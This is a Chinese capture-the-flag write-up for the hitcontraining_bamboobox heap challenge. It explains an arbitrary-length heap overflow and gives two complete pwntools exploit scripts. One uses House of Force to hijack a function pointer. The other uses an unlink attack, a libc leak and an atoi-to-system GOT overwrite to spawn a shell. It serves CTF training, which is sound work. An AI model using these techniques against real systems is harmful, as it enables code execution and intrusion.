house of force

hitcontraining_bamboobox

基本功能

  • 程序在开始时就申请了一个 chunk 用于存放两个函数指针
  • show
  • add:读取名字使用的是 read 函数,读取长度的参数是用户输入的 v2,而 read 的第三个参数是无符号整数,如果我们输入负数,就可以读取任意长度。所以这里存在任意长度堆溢出的漏洞。
  • change:重新输入 name 的长度进行写入,存在任意长度堆溢出
  • remove:将对应物品的名字的大小置为 0,并将对应的 content 置为 NULL
  • magic 函数:读取 flag 并打印

利用

覆盖某个指针为 magic 函数的指针,goodbye_message 函数在程序结束时调用,利用覆盖 goodbye_message 来控制程序流:

  1. 申请一个 chunk

    image-20211019162935944

  2. 堆溢出修改 top chunk

    image-20211019163644606

    目的地址是 0xf87000

  3. 向上申请 chunk,malloc(负数)

    负数 = 0xf87000 - 0xf87050 - 0x10 = -96(-0x60)

    1
    add(-0x60,'')

    image-20211019164429485

    下一个申请的 chunk 地址为 0x15e7000,由于 size 检测,所以申请大小为 0x10

  4. 申请 0x10 的chunk,写入 magic_addr

    image-20211019164702377

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 process
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./bamboobox')
if debug == 2:
p = remote('node4.buuoj.cn',27833)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

# elf = ELF('./bamboobox')
# libc = ELF('./libc.so.6')

def show(index):
p.sendlineafter('Your choice:','1')
p.sendlineafter('idx: ',str(index))

def add(size,name):
p.sendlineafter('Your choice:','2')
p.sendlineafter('name:',str(size))
p.sendlineafter('name of item:',str(name))

def edit(index,size,name):
p.sendlineafter('Your choice:','3')
p.sendlineafter('index of item:',str(index))
p.sendlineafter('length of item name:',str(size))
p.sendlineafter('name of the item:',name)

def free(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter('index of item:',str(index))

magic_addr = 0x400D49

add(0x20,'aaaa')

payload = 'a'*0x28 + '\xff'*8
edit(0,len(payload),payload)

add(-0x60,'')

add(0x10,p64(magic_addr)*2)

p.sendlineafter('Your choice:','5')
gdb.attach(p)

p.interactive()

这个题目的另一个解法

利用

  • 通过 unlink 把 chunk 移到存储 chunk 指针的内存处
  • 覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。
  • 覆盖 atoi 的 got 表为 system 函数地址
  • 给出参数 ‘sh’,调用 atoi 函数拿 shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 process
# 2 remote
# 3 127
debug = 2

if debug == 1 :
p = process('./bamboobox')
if debug == 2:
p = remote('node4.buuoj.cn',27833)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF('./bamboobox')
libc = ELF('./libc/libc-2.23.so')
atoi_got = elf.got['atoi']

def show():
p.sendlineafter('Your choice:','1')

def add(size,name):
p.sendlineafter('Your choice:','2')
p.sendlineafter('name:',str(size))
p.sendlineafter('name of item:',str(name))

def edit(index,content):
p.sendlineafter('Your choice:','3')
p.sendlineafter('index of item:',str(index))
p.sendlineafter('length of item name:',str(len(content)))
p.sendlineafter('name of the item:',content)

def free(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter('index of item:',str(index))

target = 0x6020c8
fd = target - 0x18
bk = target - 0x10

add(0x30,'aaaa')
add(0x80,'bbbb')
add(0x30,'cccc')

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += 'a'*0x10
payload += p64(0x30) + p64(0x90)
edit(0,payload)

free(1)

payload = p64(0)*2 + p64(0x30) + p64(atoi_got)
edit(0,payload)

show()
atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
log.success(hex(system_addr))
log.success(hex(atoi_addr))

edit(0,p64(system_addr))
# gdb.attach(p)

p.interactive()